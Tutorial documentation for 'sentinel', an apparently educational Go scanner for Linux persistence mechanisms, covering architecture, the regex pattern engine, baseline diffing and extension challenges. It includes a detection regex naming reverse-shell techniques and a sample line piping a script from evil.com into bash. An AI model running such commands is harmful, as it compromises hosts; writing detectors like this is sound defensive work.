└────────────────────────────────────┘
|
||||
↓
|
||||
┌────────────────────────────────────┐
|
||||
│ Layer 2: internal/scanner │
|
||||
│ - File I/O and pattern matching │
|
||||
│ - Returns []types.Finding │
|
||||
│ - No knowledge of CLI or output │
|
||||
└────────────────────────────────────┘
|
||||
↓
|
||||
┌────────────────────────────────────┐
|
||||
│ Layer 3: internal/cli │
|
||||
│ - Orchestrates scan pipeline │
|
||||
│ - Applies filters │
|
||||
│ - Dispatches to report layer │
|
||||
└────────────────────────────────────┘
|
||||
↓
|
||||
┌────────────────────────────────────┐
|
||||
│ Layer 4: internal/report + ui │
|
||||
│ - Presentation only │
|
||||
│ - Terminal colors, JSON encoding│
|
||||
└────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### What Lives Where
|
||||
|
||||
**pkg/types:** Severity constants, Finding struct, ScanResult struct, Scanner interface. Imported by everything. Imports nothing internal.
|
||||
|
||||
**internal/scanner:** All 17 scanner implementations, pattern engine, filesystem helpers, registry. Imports only pkg/types. Has no knowledge of CLI flags, output format, or filtering.
|
||||
|
||||
**internal/config:** Ignore-list loading and filtering. Imports pkg/types.
|
||||
|
||||
**internal/baseline:** Snapshot persistence and diff computation. Imports pkg/types.
|
||||
|
||||
**internal/cli:** Cobra command definitions, flag parsing, scan orchestration. Imports scanner, config, baseline, report, ui.
|
||||
|
||||
**internal/report + ui:** Terminal formatting, JSON encoding, color functions, spinner. Imports pkg/types and ui.
|
||||
|
||||
## Data Models
|
||||
|
||||
### Finding
|
||||
|
||||
```go
|
||||
type Finding struct {
|
||||
Scanner string `json:"scanner"`
|
||||
Severity Severity `json:"severity"`
|
||||
Title string `json:"title"`
|
||||
Path string `json:"path"`
|
||||
Evidence string `json:"evidence"`
|
||||
MITRE string `json:"mitre"`
|
||||
}
|
||||
```
|
||||
|
||||
**Fields:**
|
||||
- `Scanner`: Which module produced this finding ("systemd", "cron", "ssh", etc.)
|
||||
- `Severity`: Enum from Info (0) to Critical (4), serializes as int in JSON
|
||||
- `Title`: Human-readable description of what was found
|
||||
- `Path`: Absolute filesystem path to the file containing the finding
|
||||
- `Evidence`: The actual line or content that triggered the finding, truncated for display
|
||||
- `MITRE`: ATT&CK technique ID (e.g., "T1543.002")
|
||||
|
||||
### ScanResult
|
||||
|
||||
```go
|
||||
type ScanResult struct {
|
||||
Version string `json:"version"`
|
||||
ScanTime time.Time `json:"scan_time"`
|
||||
Hostname string `json:"hostname"`
|
||||
Findings []Finding `json:"findings"`
|
||||
Summary SeverityCount `json:"summary"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
}
|
||||
```
|
||||
|
||||
This is the complete output of a scan, used by both the terminal renderer and JSON encoder. It includes metadata (version, hostname, timing) alongside the findings and pre-computed severity counts.
|
||||
|
||||
### Scanner Interface
|
||||
|
||||
```go
|
||||
type Scanner interface {
|
||||
Name() string
|
||||
Scan(root string) []Finding
|
||||
}
|
||||
```
|
||||
|
||||
Every scanner module implements this two-method interface. Name() returns a human-readable identifier. Scan() takes a filesystem root path and returns all findings. The root parameter enables scanning mounted filesystems, chroots, or test fixture directories instead of the live system.
|
||||
|
||||
## Design Decisions
|
||||
|
||||
### Why a Flat Scanner Package Instead of Sub-Packages
|
||||
|
||||
All 17 scanners live in `internal/scanner/` as separate files in the same package. An alternative would be `internal/scanner/systemd/`, `internal/scanner/cron/`, etc.
|
||||
|
||||
**What we chose:** Single package with one file per scanner.
|
||||
|
||||
**Why:** Scanners share helpers (ReadLines, ListFiles, ResolveRoot, FindUserDirs, ScanFileForPatterns), the pattern engine (MatchLine, all compiled regexes), and the registry (Register). Putting them in separate packages would require exporting all of these or creating a shared utilities package. A single package keeps the shared code unexported and co-located.
|
||||
|
||||
**Trade-offs:** The scanner package has many files, but each file is self-contained and focused. The init() registration pattern means there's no central "list of scanners" to maintain.
|
||||
|
||||
### Why No External Dependencies for Scanning Logic
|
||||
|
||||
The scanner package uses only the standard library (os, path/filepath, strings, regexp, bufio) plus pkg/types. The only external dependencies are in the CLI and UI layers (cobra, fatih/color) and the concurrency layer (errgroup).
|
||||
|
||||
**Why:** The scanning logic must be trustworthy. External dependencies in the detection path could introduce supply chain risk. Keeping the core detection engine dependency-free means it can be audited by reading Go standard library code.
|
||||
|
||||
### Why Compiled Regexes in Package-Level Variables
|
||||
|
||||
Patterns like `ReverseShellPattern` and `DownloadExecPattern` are compiled once at package initialization as `var` declarations with `regexp.MustCompile()`. An alternative would be compiling them on first use or passing them as parameters.
|
||||
|
||||
**Why:** Regexes are compiled exactly once when the package loads. Every subsequent MatchLine() call uses the compiled automaton. Package-level vars are safe for concurrent reads, and all writes happen before main() runs.
|
||||
|
||||
## Extensibility
|
||||
|
||||
### Adding a New Scanner
|
||||
|
||||
1. Create a new file in internal/scanner/ (e.g., `docker.go`)
|
||||
2. Define a struct that implements types.Scanner:
|
||||
```go
|
||||
type DockerScanner struct{}
|
||||
|
||||
func (d *DockerScanner) Name() string { return "docker" }
|
||||
func (d *DockerScanner) Scan(root string) []types.Finding { ... }
|
||||
```
|
||||
3. Register in init():
|
||||
```go
|
||||
func init() { Register(&DockerScanner{}) }
|
||||
```
|
||||
4. Create test file `docker_test.go` with testdata fixtures
|
||||
|
||||
No other files need to change. The registry discovers it automatically.
|
||||
|
||||
### Adding a New Pattern
|
||||
|
||||
Add to `internal/scanner/patterns.go`:
|
||||
|
||||
```go
|
||||
var NewPattern = regexp.MustCompile(`...`)
|
||||
```
|
||||
|
||||
Add to the SuspiciousPatterns slice:
|
||||
|
||||
```go
|
||||
{NewPattern, types.SeverityHigh, "description of what this detects"},
|
||||
```
|
||||
|
||||
Every scanner that calls MatchLine() or ScanFileForPatterns() will immediately start checking for the new pattern.
|
||||
|
||||
## Key Files Reference
|
||||
|
||||
- `cmd/sentinel/main.go` - Entry point, blank import triggers scanner registration
|
||||
- `pkg/types/types.go` - All domain types (Finding, Severity, Scanner interface)
|
||||
- `internal/scanner/scanner.go` - Registry and parallel RunAll()
|
||||
- `internal/scanner/patterns.go` - All 16 compiled regex patterns and MatchLine()
|
||||
- `internal/scanner/helpers.go` - Shared filesystem utilities and ScanFileForPatterns()
|
||||
- `internal/cli/root.go` - Cobra root command and global flags
|
||||
- `internal/cli/scan.go` - Scan subcommand orchestration
|
||||
- `internal/cli/baseline.go` - Baseline save/diff subcommands
|
||||
- `internal/baseline/baseline.go` - JSON snapshot persistence and diff
|
||||
- `internal/config/config.go` - Ignore-list loading and filtering
|
||||
|
||||
## Next Steps
|
||||
|
||||
Now that you understand the architecture:
|
||||
1. Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for a walkthrough of the pattern engine, scanner implementations, and baseline diffing code
|
||||
2. Try running `sentinel scan --root testdata` and trace the output back to the scanner source code to see the architecture in action
|
||||
|
|
@ -0,0 +1,562 @@
|
|||
# Implementation Walkthrough
|
||||
|
||||
This document walks through the actual code. We'll cover the pattern engine, scanner module structure, the parallel execution pipeline, baseline diffing, and the ignore-list mechanism.
|
||||
|
||||
## File Structure Walkthrough
|
||||
|
||||
```
|
||||
systemd-persistence-scanner/
|
||||
├── cmd/sentinel/
|
||||
│ └── main.go # Entry point, blank import for scanner registration
|
||||
├── pkg/types/
|
||||
│ └── types.go # Severity, Finding, ScanResult, Scanner interface
|
||||
├── internal/
|
||||
│ ├── cli/
|
||||
│ │ ├── root.go # Cobra root command, global flags
|
||||
│ │ ├── scan.go # Scan subcommand
|
||||
│ │ └── baseline.go # Baseline save/diff subcommands
|
||||
│ ├── scanner/
|
||||
│ │ ├── scanner.go # Registry and RunAll()
|
||||
│ │ ├── patterns.go # 16 compiled regexes and MatchLine()
|
||||
│ │ ├── helpers.go # Shared filesystem utilities
|
||||
│ │ ├── systemd.go # Systemd unit scanner
|
||||
│ │ ├── cron.go # Cron job scanner
|
||||
│ │ ├── profile.go # Shell profile scanner
|
||||
│ │ ├── ssh.go # SSH config/keys scanner
|
||||
│ │ ├── sshrc.go # System-wide sshrc scanner
|
||||
│ │ ├── preload.go # LD_PRELOAD scanner
|
||||
│ │ ├── kernel.go # Kernel module scanner
|
||||
│ │ ├── udev.go # Udev rules scanner
|
||||
│ │ ├── initd.go # Init.d/rc.local scanner
|
||||
│ │ ├── xdg.go # XDG autostart scanner
|
||||
│ │ ├── atjob.go # At job scanner
|
||||
│ │ ├── motd.go # MOTD scripts scanner
|
||||
│ │ ├── pam.go # PAM config scanner
|
||||
│ │ ├── logrotate.go # Logrotate hooks scanner
|
||||
│ │ ├── generator.go # Systemd generator scanner
|
||||
│ │ ├── completion.go # Bash completion scanner
|
||||
│ │ └── netifhook.go # Network interface hooks scanner
|
||||
│ ├── baseline/
|
||||
│ │ └── baseline.go # Snapshot save/load/diff
|
||||
│ ├── config/
|
||||
│ │ └── config.go # Ignore-list parsing and filtering
|
||||
│ ├── report/
|
||||
│ │ ├── terminal.go # Color-coded terminal output
|
||||
│ │ └── json.go # Structured JSON output
|
||||
│ └── ui/
|
||||
│ ├── banner.go # ASCII SENTINEL banner
|
||||
│ ├── color.go # ANSI color functions (fatih/color wrappers)
|
||||
│ └── spinner.go # Braille frame spinner animation
|
||||
└── testdata/ # Per-scanner fixture files
|
||||
```
|
||||
|
||||
## The Pattern Engine
|
||||
|
||||
The pattern engine is the core detection mechanism. Every scanner delegates content analysis to it.
|
||||
|
||||
### Compiled Regex Patterns
|
||||
|
||||
All patterns are compiled once at package initialization. Each pattern targets a specific class of suspicious behavior:
|
||||
|
||||
```go
|
||||
var ReverseShellPattern = regexp.MustCompile(
|
||||
`/dev/tcp/` +
|
||||
`|` +
|
||||
`\bmkfifo\b.*\bnc\b` +
|
||||
`|` +
|
||||
`\bsocat\b.*\bexec\b` +
|
||||
`|` +
|
||||
`python[23]?\s+-c\s+.*socket` +
|
||||
`|` +
|
||||
`perl\s+-e\s+.*socket` +
|
||||
`|` +
|
||||
`ruby\s+-rsocket`,
|
||||
)
|
||||
```
|
||||
|
||||
This single regex matches six different reverse shell implementations. The `\b` word boundary anchors prevent false positives on strings that happen to contain "nc" as a substring (like "once" or "function").
|
||||
|
||||
The `regexp.MustCompile` call panics if the regex is invalid. This is intentional: a broken pattern is a compile-time bug, not a runtime error. If the pattern compiles, it's guaranteed to work for the lifetime of the program.
|
||||
|
||||
### The SuspiciousPatterns Slice
|
||||
|
||||
Patterns are collected into an ordered slice with severity labels:
|
||||
|
||||
```go
|
||||
var SuspiciousPatterns = []PatternMatch{
|
||||
{ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"},
|
||||
{DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"},
|
||||
{EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"},
|
||||
{NetworkToolPattern, types.SeverityMedium, "network tool invocation"},
|
||||
// ... 12 more patterns
|
||||
}
|
||||
```
|
||||
|
||||
The ordering doesn't affect matching (all patterns are checked), but it documents the severity hierarchy. Critical patterns like reverse shells and SUID manipulation appear first. Medium patterns like network tool invocations appear later.
|
||||
|
||||
### MatchLine: The Core API
|
||||
|
||||
Every scanner calls this function to analyze a line of text:
|
||||
|
||||
```go
|
||||
func MatchLine(
|
||||
line string,
|
||||
) (matched bool, sev types.Severity, label string) {
|
||||
best := types.SeverityInfo
|
||||
for _, p := range SuspiciousPatterns {
|
||||
if p.Pattern.MatchString(line) {
|
||||
if !matched || p.Severity > best {
|
||||
best = p.Severity
|
||||
label = p.Label
|
||||
}
|
||||
matched = true
|
||||
}
|
||||
}
|
||||
return matched, best, label
|
||||
}
|
||||
```
|
||||
|
||||
The key design decision: when a line matches multiple patterns, only the highest severity is returned. Consider this line:
|
||||
|
||||
```
|
||||
curl http://evil.com/shell.sh | bash
|
||||
```
|
||||
|
||||
This matches NetworkToolPattern (medium: "network tool invocation") and DownloadExecPattern (high: "download-and-execute chain"). MatchLine returns "high" with the label "download-and-execute chain" because that's the more specific and dangerous classification.
|
||||
|
||||
Without this deduplication, a single malicious line would generate multiple findings at different severities, creating noise and confusion in the report.
|
||||
|
||||
## Scanner Module Structure
|
||||
|
||||
Every scanner follows the same structure. Let's walk through the systemd scanner as the most complex example.
|
||||
|
||||
### Registration and Interface
|
||||
|
||||
```go
|
||||
func init() {
|
||||
Register(&SystemdScanner{})
|
||||
}
|
||||
|
||||
type SystemdScanner struct{}
|
||||
|
||||
func (s *SystemdScanner) Name() string {
|
||||
return systemdScannerName
|
||||
}
|
||||
```
|
||||
|
||||
The empty struct carries no state. Scanners are stateless: they receive a root path, read files, and return findings. No caching, no configuration, no side effects beyond filesystem reads.
|
||||
|
||||
### Directory Enumeration
|
||||
|
||||
```go
|
||||
func (s *SystemdScanner) Scan(root string) []types.Finding {
|
||||
var findings []types.Finding
|
||||
|
||||
for _, dir := range systemdDirs {
|
||||
resolved := ResolveRoot(root, dir)
|
||||
findings = append(findings, s.scanDir(resolved)...)
|
||||
}
|
||||
|
||||
for _, home := range FindUserDirs(root) {
|
||||
userDir := filepath.Join(home, ".config", "systemd", "user")
|
||||
findings = append(findings, s.scanDir(userDir)...)
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
```
|
||||
|
||||
The scanner checks three system directories (/etc/systemd/system, /run/systemd/system, /usr/lib/systemd/system) plus per-user directories under ~/.config/systemd/user/. ResolveRoot() translates absolute paths relative to the scan root, enabling scanning of mounted filesystems or test fixtures.
|
||||
|
||||
### Unit File Analysis
|
||||
|
||||
The scanDir method filters files by extension (.service, .timer, .socket, .path) and maps each extension to its MITRE technique:
|
||||
|
||||
```go
|
||||
mitre := mitreSystemd
|
||||
switch ext {
|
||||
case ".timer":
|
||||
mitre = mitreTimer
|
||||
case ".path":
|
||||
mitre = mitrePath
|
||||
}
|
||||
```
|
||||
|
||||
Timers get T1053.006 (Systemd Timers), path units get T1543.002 (Systemd Service), and services/sockets get the default T1543.002. This granularity matters for ATT&CK coverage mapping.
|
||||
|
||||
The analyzeUnit method parses Exec directives:
|
||||
|
||||
```go
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
for _, directive := range execDirectives {
|
||||
if !strings.HasPrefix(trimmed, directive) {
|
||||
continue
|
||||
}
|
||||
cmd := strings.TrimPrefix(trimmed, directive)
|
||||
cmd = strings.TrimPrefix(cmd, "-")
|
||||
|
||||
matched, sev, label := MatchLine(cmd)
|
||||
if matched {
|
||||
findings = append(findings, types.Finding{...})
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The second TrimPrefix removes the "-" prefix that systemd uses to indicate "ignore exit code." The command content goes to MatchLine() for pattern analysis.
|
||||
|
||||
After content analysis, the scanner checks two filesystem properties:
|
||||
|
||||
```go
|
||||
if IsWorldWritable(path) {
|
||||
findings = append(findings, types.Finding{
|
||||
Severity: types.SeverityMedium,
|
||||
Title: "World-writable unit file",
|
||||
})
|
||||
}
|
||||
|
||||
if ModifiedWithin(path, 24*time.Hour) {
|
||||
findings = append(findings, types.Finding{
|
||||
Severity: types.SeverityMedium,
|
||||
Title: "Recently modified unit file",
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
World-writable means any user can modify the file to inject malicious ExecStart commands. Recently modified (within 24 hours) is a heuristic: legitimate unit files change rarely, but a freshly planted backdoor was just written.
|
||||
|
||||
### Drop-in Override Scanning
|
||||
|
||||
Systemd supports drop-in directories (service-name.d/*.conf) that override the main unit file. Attackers can add an override that replaces ExecStart without touching the original file:
|
||||
|
||||
```go
|
||||
entries := ListDir(dir)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && strings.HasSuffix(e.Name(), ".d") {
|
||||
dropinDir := filepath.Join(dir, e.Name())
|
||||
for _, f := range ListFiles(dropinDir) {
|
||||
if strings.HasSuffix(f, ".conf") {
|
||||
findings = append(findings, s.analyzeUnit(f, mitreSystemd)...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This catches `sshd.service.d/override.conf` containing `ExecStartPost=/tmp/.backdoor`.
|
||||
|
||||
## Shared Filesystem Helpers
|
||||
|
||||
The helpers.go file provides safe file operations used by all scanners.
|
||||
|
||||
### Graceful Permission Handling
|
||||
|
||||
```go
|
||||
func ReadLines(path string) []string {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
var lines []string
|
||||
sc := bufio.NewScanner(f)
|
||||
for sc.Scan() {
|
||||
lines = append(lines, sc.Text())
|
||||
}
|
||||
return lines
|
||||
}
|
||||
```
|
||||
|
||||
Returning nil instead of an error is intentional. Scanners enumerate many directories, most of which may not exist on a given system. The cron scanner checks /var/spool/cron/crontabs/ which doesn't exist on systems that never used crontab. Returning nil lets the caller's nil-check skip the file silently.
|
||||
|
||||
### ScanFileForPatterns Helper
|
||||
|
||||
Many scanners use the same loop: read lines, skip comments, call MatchLine, collect findings. This is extracted into a shared helper:
|
||||
|
||||
```go
|
||||
func ScanFileForPatterns(
|
||||
path, scannerName, mitre string,
|
||||
) []types.Finding {
|
||||
lines := ReadLines(path)
|
||||
var findings []types.Finding
|
||||
|
||||
for _, line := range lines {
|
||||
if IsCommentOrEmpty(line) {
|
||||
continue
|
||||
}
|
||||
matched, sev, label := MatchLine(line)
|
||||
if matched {
|
||||
findings = append(findings, types.Finding{
|
||||
Scanner: scannerName,
|
||||
Severity: sev,
|
||||
Title: label,
|
||||
Path: path,
|
||||
Evidence: strings.TrimSpace(line),
|
||||
MITRE: mitre,
|
||||
})
|
||||
}
|
||||
}
|
||||
return findings
|
||||
}
|
||||
```
|
||||
|
||||
Scanners like profile.go, sshrc.go, and completion.go use this directly. Scanners with custom parsing (systemd, cron, udev) use MatchLine() directly because they need to extract commands from structured formats before matching.
|
||||
|
||||
## The Parallel Execution Pipeline
|
||||
|
||||
### How RunAll Works
|
||||
|
||||
```go
|
||||
func RunAll(root string) []types.Finding {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
all []types.Finding
|
||||
g errgroup.Group
|
||||
)
|
||||
|
||||
for _, s := range registry {
|
||||
g.Go(func() error {
|
||||
results := s.Scan(root)
|
||||
mu.Lock()
|
||||
all = append(all, results...)
|
||||
mu.Unlock()
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
_ = g.Wait()
|
||||
return all
|
||||
}
|
||||
```
|
||||
|
||||
The loop variable `s` is captured by the closure correctly in Go 1.22+ (loop variable scoping change). Each goroutine gets its own copy of the scanner.
|
||||
|
||||
The mutex protects append to the shared slice. This is the simplest correct approach. An alternative would be channels, but a mutex with append is clearer and slightly faster for this use case (17 goroutines with small bursts of findings).
|
||||
|
||||
errgroup.Wait() blocks until all goroutines return. Since our goroutines always return nil, error handling is a no-op. We use errgroup instead of sync.WaitGroup because errgroup provides the same Wait() semantics with a cleaner API, and if we ever need to propagate scanner errors, the infrastructure is already in place.
|
||||
|
||||
## Baseline Diffing
|
||||
|
||||
### The Composite Key
|
||||
|
||||
The diff algorithm uses a composite string key to match findings across scans:
|
||||
|
||||
```go
|
||||
func findingKey(f types.Finding) string {
|
||||
return f.Scanner + "|" + f.Path + "|" + f.Title
|
||||
}
|
||||
```
|
||||
|
||||
This key identifies a unique finding. If the same scanner reports the same title for the same file path, it's considered the same finding regardless of severity changes. The pipe delimiter prevents ambiguity (no field value legitimately contains "|").
|
||||
|
||||
Severity is excluded from the key intentionally. If a world-writable unit file gets its permissions fixed, the finding disappears entirely (good). If the finding's severity changes due to a pattern engine update, it doesn't show up as "new" (also good).
|
||||
|
||||
### The Diff Algorithm
|
||||
|
||||
```go
|
||||
func Diff(baseline Snapshot, current []types.Finding) []types.Finding {
|
||||
known := make(map[string]bool, len(baseline.Findings))
|
||||
for _, f := range baseline.Findings {
|
||||
known[findingKey(f)] = true
|
||||
}
|
||||
|
||||
var newFindings []types.Finding
|
||||
for _, f := range current {
|
||||
if !known[findingKey(f)] {
|
||||
newFindings = append(newFindings, f)
|
||||
}
|
||||
}
|
||||
return newFindings
|
||||
}
|
||||
```
|
||||
|
||||
Build a set of known finding keys from the baseline. For each current finding, check if its key exists in the set. If not, it's new. O(n+m) time, O(n) space where n is baseline size and m is current scan size.
|
||||
|
||||
## Ignore-List Filtering
|
||||
|
||||
### Parser Design
|
||||
|
||||
The ignore file uses a simplified YAML-like format:
|
||||
|
||||
```yaml
|
||||
ignore:
|
||||
- path: /etc/cron.d/certbot
|
||||
scanner: cron
|
||||
- title: Kernel module loaded at boot
|
||||
```
|
||||
|
||||
The parser is a hand-written line-by-line state machine. It tracks whether we're inside the `ignore:` block and accumulates fields into IgnoreRule structs:
|
||||
|
||||
```go
|
||||
func parseIgnoreFile(data []byte) (IgnoreList, error) {
|
||||
var list IgnoreList
|
||||
var current IgnoreRule
|
||||
inIgnore := false
|
||||
|
||||
for _, rawLine := range strings.Split(string(data), "\n") {
|
||||
line := strings.TrimSpace(rawLine)
|
||||
|
||||
if line == "ignore:" {
|
||||
inIgnore = true
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "- ") {
|
||||
list.Rules = appendIfSet(list.Rules, current)
|
||||
current = IgnoreRule{}
|
||||
line = strings.TrimPrefix(line, "- ")
|
||||
}
|
||||
|
||||
parseField(¤t, strings.TrimSpace(line))
|
||||
}
|
||||
|
||||
list.Rules = appendIfSet(list.Rules, current)
|
||||
return list, nil
|
||||
}
|
||||
```
|
||||
|
||||
A full YAML parser would be overkill for three fields. The hand-written parser has zero dependencies and handles the exact format the tool documents.
|
||||
|
||||
### Matching Logic
|
||||
|
||||
The filter applies AND logic within a rule and OR logic across rules:
|
||||
|
||||
```go
|
||||
func (r IgnoreRule) matchesFinding(f types.Finding) bool {
|
||||
if r.Path != "" && f.Path != r.Path {
|
||||
return false
|
||||
}
|
||||
if r.Scanner != "" && f.Scanner != r.Scanner {
|
||||
return false
|
||||
}
|
||||
if r.Title != "" && f.Title != r.Title {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
```
|
||||
|
||||
Empty fields are wildcards. A rule with only `scanner: cron` suppresses all cron findings. A rule with `path: /etc/cron.d/certbot` and `scanner: cron` suppresses only cron findings for that specific file. This lets users write precise suppression rules without over-suppressing.
|
||||
|
||||
## Terminal Output
|
||||
|
||||
### Severity-Colored Output
|
||||
|
||||
The terminal renderer sorts findings by severity (critical first) and applies per-severity colors:
|
||||
|
||||
```go
|
||||
var severityColor = map[types.Severity]func(a ...any) string{
|
||||
types.SeverityCritical: ui.HiRedBold,
|
||||
types.SeverityHigh: ui.RedBold,
|
||||
types.SeverityMedium: ui.YellowBold,
|
||||
types.SeverityLow: ui.CyanBold,
|
||||
types.SeverityInfo: ui.Dim,
|
||||
}
|
||||
```
|
||||
|
||||
Critical findings appear in bright bold red. Info findings appear dimmed. The visual hierarchy makes it possible to scan output and immediately spot the most dangerous findings.
|
||||
|
||||
### The Spinner
|
||||
|
||||
The spinner runs on its own goroutine while scanners work:
|
||||
|
||||
```go
|
||||
func (s *Spinner) run() {
|
||||
defer s.wg.Done()
|
||||
fmt.Print("\033[?25l") // hide cursor
|
||||
|
||||
ticker := time.NewTicker(80 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
idx := 0
|
||||
for {
|
||||
select {
|
||||
case <-s.done:
|
||||
clearLine()
|
||||
fmt.Print("\033[?25h") // show cursor
|
||||
return
|
||||
case <-ticker.C:
|
||||
frame := frames[idx%len(frames)]
|
||||
fmt.Printf("\r %s %s", CyanBold(frame), Magenta(s.msg))
|
||||
idx++
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
ANSI escape sequence `\033[?25l` hides the cursor to prevent flicker. The braille frames (`⠋ ⠙ ⠹ ⠸ ⠼ ⠴ ⠦ ⠧ ⠇ ⠏`) create a smooth rotation at 80ms per frame. The WaitGroup ensures Stop() blocks until the goroutine has cleaned up (cursor restored, line cleared).
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
### Testdata Fixtures
|
||||
|
||||
Each scanner has test fixtures in the testdata/ directory. The fixtures are real-format files with known content:
|
||||
|
||||
```
|
||||
testdata/
|
||||
├── systemd/ # .service, .timer, .path files
|
||||
├── cron/ # Crontab entries
|
||||
├── ssh/ # sshd_config variants
|
||||
├── sshrc/ # Clean and malicious sshrc
|
||||
├── preload/ # ld.so.preload entries
|
||||
├── kernel/ # modules-load.d and modprobe.d configs
|
||||
├── udev/ # Udev rules with RUN+=
|
||||
├── initd/ # Init scripts and rc.local
|
||||
├── xdg/ # .desktop files
|
||||
├── atjob/ # At job spool files
|
||||
├── motd/ # MOTD scripts
|
||||
├── pam/ # PAM configs
|
||||
├── logrotate/ # Clean and malicious logrotate configs
|
||||
├── generator/ # Generator executables
|
||||
├── completion/ # Bash completion scripts
|
||||
└── netifhook/ # Network interface hooks
|
||||
```
|
||||
|
||||
Tests use t.TempDir() to create an isolated filesystem tree, copy fixture data in, and point the scanner at the temp root:
|
||||
|
||||
```go
|
||||
func TestSystemdScanner_MaliciousService(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
svcDir := filepath.Join(root, "etc", "systemd", "system")
|
||||
os.MkdirAll(svcDir, 0o750)
|
||||
|
||||
src := filepath.Join(testdataDir(), "systemd", "backdoor.service")
|
||||
data, _ := os.ReadFile(src)
|
||||
writeTestFile(t, filepath.Join(svcDir, "backdoor.service"), string(data))
|
||||
|
||||
s := &SystemdScanner{}
|
||||
findings := s.Scan(root)
|
||||
|
||||
// Assert findings match expected detections
|
||||
}
|
||||
```
|
||||
|
||||
The scanner has no idea it's running against a temp directory. It calls ResolveRoot(root, "/etc/systemd/system") which returns the temp path. This is why every scanner takes a root parameter instead of hardcoding absolute paths.
|
||||
|
||||
### Running Tests
|
||||
|
||||
```bash
|
||||
go test -race ./...
|
||||
```
|
||||
|
||||
The `-race` flag enables the race detector, which is essential because scanners run concurrently. Any unsafe access to shared state during RunAll() will cause a test failure with a detailed goroutine trace.
|
||||
|
||||
## Dependencies
|
||||
|
||||
### Why Each Dependency
|
||||
|
||||
- **github.com/spf13/cobra v1.10.2**: CLI framework. Provides subcommands, persistent flags, help generation. The standard choice for Go CLI tools
|
||||
- **github.com/fatih/color v1.19.0**: Terminal color output. Handles ANSI codes and Windows compatibility. The most widely used Go terminal color library
|
||||
- **golang.org/x/sync v0.20.0**: Provides errgroup for structured goroutine coordination. Part of the Go extended standard library
|
||||
|
||||
Zero dependencies in the scanning logic. cobra and color are CLI/UI concerns. errgroup is concurrency infrastructure.
|
||||
|
||||
## Next Steps
|
||||
|
||||
You've seen how the code works. Now:
|
||||
|
||||
1. **Try the challenges** - [04-CHALLENGES.md](./04-CHALLENGES.md) has extension ideas from adding new scanners to YARA integration
|
||||
2. **Run against testdata** - `sentinel scan --root testdata` exercises the pattern engine against known-malicious fixtures
|
||||
3. **Add a scanner** - Pick a persistence mechanism not covered (Docker, containerd, cloud-init) and implement it following the existing pattern
|
||||
|
|
@ -0,0 +1,251 @@
|
|||
# Extension Challenges
|
||||
|
||||
Ideas for extending this project, ordered by difficulty. Each one teaches a different skill. Don't feel like you need to do them in order.
|
||||
|
||||
## Easy Challenges
|
||||
|
||||
### 1. Add a Docker Persistence Scanner
|
||||
|
||||
Docker containers can be configured to restart automatically, and Docker volumes can mount host paths that persist across container restarts. Attackers use `--restart=always` containers and bind mounts to /etc/cron.d as persistence mechanisms.
|
||||
|
||||
**What to build:** A scanner that checks /etc/docker/daemon.json for insecure configurations (like `--insecure-registry`), enumerates Dockerfiles in common locations, and checks for docker.service overrides.
|
||||
|
||||
**What you'll learn:** How container orchestration creates new persistence surfaces that traditional scanners miss.
|
||||
|
||||
**Hints:**
|
||||
- Start with checking if /etc/docker/daemon.json exists and parsing it for suspicious settings
|
||||
- Check /etc/systemd/system/docker.service.d/ for drop-in overrides
|
||||
- MITRE technique: T1610 (Deploy Container)
|
||||
|
||||
**Test it works:** Create testdata/docker/daemon.json with an insecure configuration and verify the scanner flags it.
|
||||
|
||||
### 2. Add Cloud-Init Persistence Scanner
|
||||
|
||||
Cloud-init runs on first boot (and optionally on every boot) in cloud VMs. User data scripts in /var/lib/cloud/instance/scripts/ and cloud-config in /var/lib/cloud/instance/user-data.txt can contain arbitrary commands.
|
||||
|
||||
**What to build:** Scan cloud-init locations for user-data scripts containing network tools, encoded payloads, or download-and-execute chains.
|
||||
|
||||
**What you'll learn:** How cloud initialization creates a persistence vector unique to cloud environments.
|
||||
|
||||
**Hints:**
|
||||
- Key directories: /var/lib/cloud/instance/, /var/lib/cloud/scripts/per-boot/
|
||||
- Use ScanFileForPatterns() since cloud-init scripts are plain shell
|
||||
- MITRE technique: T1078.004 (Valid Accounts: Cloud Accounts)
|
||||
|
||||
### 3. Add Severity-Based Exit Codes
|
||||
|
||||
CI/CD pipelines need a way to fail builds when critical findings exist. Right now sentinel always exits 0.
|
||||
|
||||
**What to build:** Exit code 1 when findings at or above a specified severity are found. Add a `--fail-on` flag that sets the threshold.
|
||||
|
||||
**What you'll learn:** How security tools integrate into automated pipelines. Most commercial scanners use exit codes for policy enforcement.
|
||||
|
||||
**Hints:**
|
||||
- Add `--fail-on` as a persistent flag alongside `--min-severity`
|
||||
- After printing output, check if any findings meet the threshold
|
||||
- Exit code 0 = clean, 1 = findings above threshold, 2 = scan error
|
||||
|
||||
**Test it works:**
|
||||
```bash
|
||||
sentinel scan --root testdata --fail-on critical; echo $?
|
||||
```
|
||||
|
||||
## Intermediate Challenges
|
||||
|
||||
### 4. Add Glob Pattern Matching to Ignore Rules
|
||||
|
||||
Currently ignore rules match exact paths. Real-world usage needs glob patterns like `/etc/cron.d/*` or `/home/*/.*rc`.
|
||||
|
||||
**What to build:** Extend the ignore-list matcher to support shell glob patterns using `filepath.Match()`.
|
||||
|
||||
